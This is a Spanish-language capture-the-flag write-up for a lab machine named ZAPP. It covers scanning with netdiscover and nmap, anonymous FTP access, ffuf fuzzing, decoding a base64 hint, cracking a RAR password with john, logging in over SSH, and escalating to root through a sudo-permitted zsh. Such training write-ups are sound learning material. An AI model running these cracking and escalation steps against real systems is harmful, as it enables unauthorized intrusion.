# Write-up ZAPP

## Enumeración

Realizando un escaneo simple podemos enumerar nuestros objetivos.

```
sudo netdiscover -i <interfaz_red>
```

```
4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240
_____________________________________________________________________________
  IP            At MAC Address     Count     Len  MAC Vendor / Hostname
_____________________________________________________________________________
192.168.1.1     f4:52:46:02:a7:10      1      60  ASKEY COMPUTER CORP
192.168.1.34    08:00:27:d0:cb:17      1      60  PCS Systemtechnik GmbH
192.168.1.35    7c:10:c9:a3:17:e6      1      60  ASUSTek COMPUTER INC.
192.168.1.33    32:68:a5:9e:26:fe      1      60  Unknown vendor
```

Ahora podemos trabajar sobre el objetivo. en mi caso 192.168.1.34.
Ayudándonos de la herramienta nmap para la enumeración de servicios, podemos buscar entre los top puertos mas famosos u optar por realizar un barrido simple y silencioso a los puertos 21, 22 y 80.

```
sudo nmap -sSCV -n -p21,22,80 192.168.1.34

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.1.37
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
```

```
| -rw-r--r--    1 0        0              28 Oct 29 21:59 login.txt
|_-rw-r--r--    1 0        0              65 Oct 29 22:23 secret.txt
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u5 (protocol 2.0)
| ssh-hostkey:
|   3072 a3:23:b3:aa:df:c6:51:cb:a2:0c:92:8e:6b:fe:96:ee (RSA)
|   256 fd:95:2f:2f:7f:5a:21:b5:0e:75:2c:da:18:c9:52:35 (ECDSA)
|_  256 a1:0e:0d:79:8e:54:3e:0e:ed:2f:96:d6:d3:9a:9f:a6 (ED25519)
80/tcp open  http    Apache httpd 2.4.65 ((Debian))
|_http-server-header: Apache/2.4.65 (Debian)
|_http-title: zappskred - CTF Challenge
```

Bien! Tenemos a disposición los puertos abiertos 21, 22 y 80
Al parecer el objetivo por motivos X decidió habilitar el usuario anonymous para FTP y parece tener información crucial.

```
ftp 192.168.1.34 -p 21
Connected to 192.168.1.34.
220 Welcome zappskred.
Name (192.168.1.34:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
150 Here comes the directory listing.
-rw-r--r--    1 0        0              28 Oct 29 21:59 login.txt
-rw-r--r--    1 0        0              65 Oct 29 22:23 secret.txt
```

```
┌──(kali㉿kali)-[~]
└─$ cat login.txt && cat secret.txt
puerto
4444
coffee
GoodLuck
0jO cOn 31 c4fe 813n p23p424dO, 4 v3c35 14 pista 357a 3n 14 7424
```

¡Un mensaje que tiene buena pinta! podemos intentar armar una lista con palabras para ir probando una en una con la herramienta hydra y lograr acceder por el puerto 22 ssh y llevarnos las flags.

> Nota al futuro: NINGUNA ME SIRVIO ! 😉

Luego de re-leer la pista varias veces me di cuenta que el usuario estaba en mi narices: `zappskred`

```
Connected to 192.168.1.34.
220 Welcome zappskred.
Name (192.168.1.34:kali): anonymous
331 Please specify the password.
```

Bien, tropezón no es caída!. Nos vamos directo al puerto 80 a ver que encontramos.


No tiene buena pinta. pero con las herramientas de fuzzing intentaremos ver que se oculta en otros directorios.
En mi caso usare ffuf indicando una lista de palabras con un retoque de colores.

```
ffuf -c -w /usr/share/seclists/<you_word_list>:FUZZ -u http://192.168.1.34:80/FUZZ

dorset                  [Status: 301, Size: 313, Words: 20, Lines: 10, Duration:
4ms]
waterloo                [Status: 301, Size: 315, Words: 20, Lines: 10, Duration:
3ms]
```

Con esta información ya podemos empezar a trabajar!

```
La azÃºcar estÃ¡ en el fondo pero tÃº estÃ¡s muy arriba
```

¡Un mensaje que tiene buena pinta! podemos intentar armar una lista de palabras para ir probando una en una con la herramienta hydra y lograr acceder por el puerto 22 ssh y llevarnos las flags.

> Nota al futuro: NINGUNA ME SIRVIO ! 😒

Luego de estar dando vueltas por los directorios y ver que no había wappalyzer que me ayude opte por ver el código fuente hasta abajo.

```
        <div class="image-overlay">
            <span>problem?</span>
        </div>
    </div>
    </div>
    </div>
</div>

<div style="display:none">4444 VjFST1YyRkhVa2xUYmxwYVRURmFiMXBGYUV0a2JWSjBWbTF3WVZkRk1VeERaejA5Q2c9PQo=</div>

<script>
    function createMatrixEffect() {
        const canvas = document.createElement('canvas');
        const ctx = canvas.getContext('2d');
        const container = document.getElementById('matrixBg');

        canvas.width = window.innerWidth;
        canvas.height = window.innerHeight;
        container.appendChild(canvas);
```

Note de inmediato la pista en base64

1. `VjFST1YyRkhVa2xUYmxwYVRURmFiMXBGYUV0a2JWSjBWbTF3WVZkRk1VeERaejA5Q2c9PQo=`
2. `V1ROV2FkRkhVa2xUYmxwYVRURmFiMXBGYUV0a2JWSjBWbTF3WVZkRk1VeERaez09Cg==`
3. `V1ROV2FkRkhUa2xUTmt0aVRrUmFaVjBWYTBGTFRWbDFwWVVkRk1VeERaego=`
4. `cuatrocuatroveces`

   Se trata de un directorio con un archivo .rar que al parecer esta protegido con contraseña y esto olía a ataque de fuerza bruta.
   agregue todas las palabras que fuimos encontrando a lo largo de la maquina al wordlist rockyou.txt y cargado con mi pistola decidí participar.

```
rar2john ./Sup3rP4ss.rar > resultado.hash
john --wordlist=./rockyou.txt resultado.hash
```

```
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
reema            (Sup3rP4ss.rar)
1g 0:00:02:15 DONE (2025-10-31 14:52) 0.007372g/s 622.3p/s 622.3
Use the "--show" option to display all of the cracked passwords
Session completed.
```

"Intenta probar con más >> 3spuM4 "

---

Un canto a la vida!. tenemos las credenciales necesarias para seguir avanzando

```
usuario: zappskred
password: 3spuM4
```

**user flag:** ZWwgbWVqb3IgY2FmZQo=

Lo primero que hice fue.

- [ ] Revisar carpetas ocultas
- [ ] Revisar directorios
- [x] Revisar la lista de permisos

```
User zappskred may run the following commands on root:
    (root) /bin/zsh
```

help: GTFOBins

```
sudo zsh
whoami
#root
```

**root flag:** c2lIbXByZSBlcyBudWVzdHJvCg==